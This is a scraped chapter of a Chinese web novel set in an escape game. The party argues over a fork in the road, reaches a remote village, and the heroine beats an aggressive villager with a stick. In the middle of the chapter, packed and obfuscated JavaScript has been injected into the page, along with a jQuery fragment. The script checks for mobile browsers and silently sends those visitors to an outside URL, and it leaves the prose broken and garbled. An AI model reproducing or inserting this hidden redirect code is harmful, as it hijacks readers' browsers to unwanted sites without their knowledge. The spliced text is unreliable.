女孩好像真的不怕他,说要带他走。
柏水轻笑:“后来的事你就知道了,我跟你走了。”
照夜清摩挲着下巴,眉心皱着:“那为什么她现在带你走,却是以前就见过?”
“乌斯莫比环?”李嘉莹右手托腮:“我玩过不少游戏,会有这种设定来着。”
“现在的她遇见了过去的你,于是改变了过去你的轨迹,让你们在现在的时间节点相遇。从此因果闭环,你们相遇的因果线完整。”
“乌斯莫比环……”柏水轻轻呢喃着这几个字,嘴角漾起一抹笑:“应该是吧。她确实尝试带我走,可不知为什么,我又回到了那里做花魁。”
“一切就像没发生过一般,只有我清楚,她是真实存在的。于是我辞去了这份工作,不想自己的特殊能力用在恐吓人的工作上。”
尤许绷着脸:“哦……那鲁北大学教授呢,纯爱好?”
柏水:“……”
“哈哈哈哈哈。”李嘉莹笑起来,这还是她来到逃生游戏里,第一次发自内心笑得这么开心。
*
“好了没?”李嘉扒在门边,昨晚的夜谈让大家距离更近了些,她对两位大佬若有若无的畏惧,终于彻底散去。
尤许左手撑扶手,脚尖轻点,一个利落的翻身,横跨栏杆跃下楼梯。
吧嗒,楼梯扶手缺了一角,正是被她摁过的那一处。
滴!
她腕间的手环响了声,淡蓝色呼吸灯闪烁两下,好似在控诉她。
“不好意思。”尤许挠了挠头,损坏公物是不对的!她下次不会了,真的!她只是没想到这楼梯这么弱不禁风。
尤许坐在晃悠悠的马车上,同乘的还有照夜清与李岚。
车里的空间很大,坐六个人绰绰有余。不过价钱也是双人马车的三倍,平均每人的价格还是一样。
车两年开窗,以一条褐色麻布遮住,随着颠簸摇曳。
车夫是个瘦弱的汉子,一身褐色粗布麻衣。尤许怀疑那衣服是用车帘子做的。车夫脸上总是挂着谄媚的笑容,背躬得很深。
“几位客官往南走,还是往北走?”
马车募地停了下来,照夜清问道:“有什么不一样吗?”
“嘿嘿。”汉子笑了两声:“你们不是第一个问这种问题的客人。掀开帘子,往两边的路看看,就知道了。”
尤许撩起左侧那粗布帘子,探头向外看去。此时她所处的位置是个岔路口,自这里往北,是宽阔平坦的官道,远方隐隐能看到挺拔的楼阁。
雕栏玉砌,极尽奢华。只是……
尤许眼中,倒映出白色人影,衣袂飘飘,正含笑看着她。
白衣女人矗立在不远处,脸上的笑容愈发灿烂。
尤许啪得放下帘子:怎么又是她。
她又与往南探头的照夜清交换位置,南边是条坑坑洼洼的土路,荒草丛生,远方依稀有炊烟袅袅升起。
尤许看到白衣女人在不远处扬起头,唇瓣开开合合:该你帮我了。
尤许:我拒绝,这是强买强卖!
照夜清神色凝重道:“红衣男人和白衣女人,看来是要我们二选一。”
尤许::什么二选一?
尤许微微蹙眉:“哪里有红衣男人?”
照夜清:“北边啊,那条官道。你没看到么?”
尤许咬牙切齿:“我只看到白衣女人。”
“嘶……”李嘉莹发出一声轻呼:“各种怪谈里,都是红衣厉鬼,可能关卡会更难。不如,我们就走白衣女人那边?”
“是吗。”尤许坐回去,按了按太阳穴:“我怎么感觉那女人身上的戾气更重。”
“几位客官快选啊”,车夫催促道:“我还赶着拉下一趟生意呢。”
“选红衣男人。”尤许道:“北边。”
“好嘞。”车夫一声应下,鞭子破空,啪地抽在马屁股上,马车再次启程。
尤许将头上的两个妙脆角扯散,胡乱揉开,半点不见妙脆角的形状。因为她的暴力输出,头发乱糟糟的,有几缕还向上炸了起来。
“不高兴?”柏水不知从哪摸出一颗草莓糖,掰开尤许掌心,轻轻放上去,他自己也往尤许身边又挪近几分。
尤许窸窸窣窣剥开糖纸,把草莓糖丢进嘴里:“烦。”
“总归都是要闯关的。”柏水胳膊搂住她,手指卷起一缕炸起的头发,轻轻抚下去:“我给你重新梳一个?”
“哦……”尤许淡淡应了声。
“我靠!”李岚发出一声惊呼:“快看,外面的景象变了。”
那明媚的阳关道早已不见,取而代之的,是一条破败的土路。
尤许不用看就猜到了,那白衣女人根本没有放过她,强制她选择了这条路。
头上酥酥麻麻,柏水这从昨天开始,不戴手套成了常态。他只是刻意避开和人接触,将那手套丢进了手环空间角落。
尤许那晚还问他为什么。
他说“因为你之前说过,皮质触感不舒服。”
“好了。”
尤许从怔愣中回过神,柏水的声音回荡在耳边,含笑看着她:“如果你和我吵架了,不会也把这个发型扯掉吧?”
“不会。”没有镜子,尤许只能抬手顺着头发轮廓摸,是个从脑后编下来的鱼骨辫,但是又结合了侧麻花辫,尾部垂落在肩膀前边,系了个标准的粉色蝴蝶结。
“喜欢。”尤许嘴角上升三个像素点:“谢谢。”
被喂了一嘴狗粮的李岚眼睛瞪得老大:“你们,是伴侣啊?”
照夜清翻了个白眼:“你现在才发现?”
“我我我……”李岚磕磕绊绊道:“我怎么知道,我又没谈过恋爱。况且这逃生游戏不是你死我活吗,伴侣实在少,更多是发泄压力和欲望的□□关系。”
“这么……”李岚话到嘴巴,不知怎么形容,忽地想起之前在网上刷到的一个形容词,便道:“这么柏拉图的,我还是第一次见。”
“柏拉……图。”李嘉莹吞了吐口水,心道:若是你知道那天在酒店,她直到晚上才吃上饭,一定说不出柏拉图这话。
“到了。”车夫的粗粝声音让几人回过神,他谄媚笑道:“几位,一路平安,希望我们还能再见。”
“这关卡很难吗?这是可以说的吗。”李嘉莹随口问道。
“告诉你们也无妨。”车夫弓着腰,嘴角勾起,抬眼看他们:“迄今为止,无人生还。”
李嘉莹腿一软:她就不该问!以她的胆子,这不是灭自己志气么。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308185|195615||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
尤许踏上这条土地,土路蜿蜒向内,将他们引进一处村落。
三面环山,一眼望不到外面。而剩下的一面,小河静静躺在那里,澄澈干净,却深不见底。
河边有片芦苇地,伴着一簇簇黄色的草,足足能没过成年人的胸膛。
整座村庄被这一水一山围困在这里,好似被遗忘在历史的褶皱中。
吱呀——
虚掩的木门被打开,一个壮硕的汉子探出头。他头发黑乎乎乱糟糟,胡渣也像半个月没刮,又黑又粗又长。
尤许听到推门声,便在好奇心的驱使下扭头,对上那汉子的视线。
“呦——”那汉子吹了个口哨,眼底毫不掩饰惊艳和欲望,打量着尤许:“没见过啊,小娘们,哪来的?”
照夜清皱起眉,凌厉地目光扫过去。
“呦,还有一个……不对,一共是四个?!”那汉子兴奋起来,穿着个大裤衩子,赤裸着上半身便跑道众人面前。
“这个够劲儿”,他目光黏在照夜清身上,视线只往一处盯:“我靠,长得这么骚。故意勾引人啊。”
他伸出手,直直就往照夜清胸口去。
啪——
那汉子惨叫一声,跌在地上,左脚浮现一个红肿的巴掌印,血珠从嘴角滚到地上,滚起一个小泥团。
李岚收回手:“你再说!”
照夜清瞥了李岚一眼:“别轻举妄动。”
她对这话并不在意,这村子一看就是落后的古董村,与她现实里生活的地方差太多。
不论是在游戏里还是现实,她久居高位,从没听过这样的话。第一次听到,第一反应不是愤怒,而是看小丑一样的好奇。
在她看来,这人或许脑袋都没发育完全。跟没开智的古董有什么好吵的,谁会跟动物园里的猴子置气。
正在跟猴子置气的尤许:……
尤许本来是想直接弄死这NPC,但余光瞥见柏水正抬脚准备上去,她又把柏水拉回来,改了主意。
直接弄死还是职业病犯了。尤许摩挲着下巴,她要重新衡量一下。
地上的汉子还在喊叫,一句接一句的污言秽语,不堪入耳。尤许被吵得耳朵疼,四下瞅了瞅。
那汉子只是站起身叫骂,眼瞅着对面比他高大的李岚,他又不敢再动手。在李岚一个警告的眼神下,他一边骂一边转身就走。
尤许左看看右看看,终于找到件满意的工具,伸手将汉子拽回来,拎鸡崽子似的,将那人摁到地上,与土地来了个亲密接触。
“你他爹的做什么!”那汉子梗着脖子:“臭娘们,松开老子!”
尤许掂掂手机的木棍,用力往下一砸。
“啊啊啊啊啊——”汉子发出一声凄厉的惨叫,两眼一翻晕了过去。
李岚倒吸一口凉气,只觉得身下凉飕飕的。
尤许将他翻过面,扒拉开他的眼皮瞧,见那汉子当真是晕死过去了,便悻悻收回手,将木棍随手扔掉。
“好了。”尤许理了理衣服:“我们走吧。”
柏水抽出一张酒精湿巾,将尤许的手拉过来,里里外外小心擦了个遍。
他拧着眉,那汉子看起来得有半年没洗澡,太脏了。柏水顿了顿,手上的力道放轻,怕把她的手擦红了。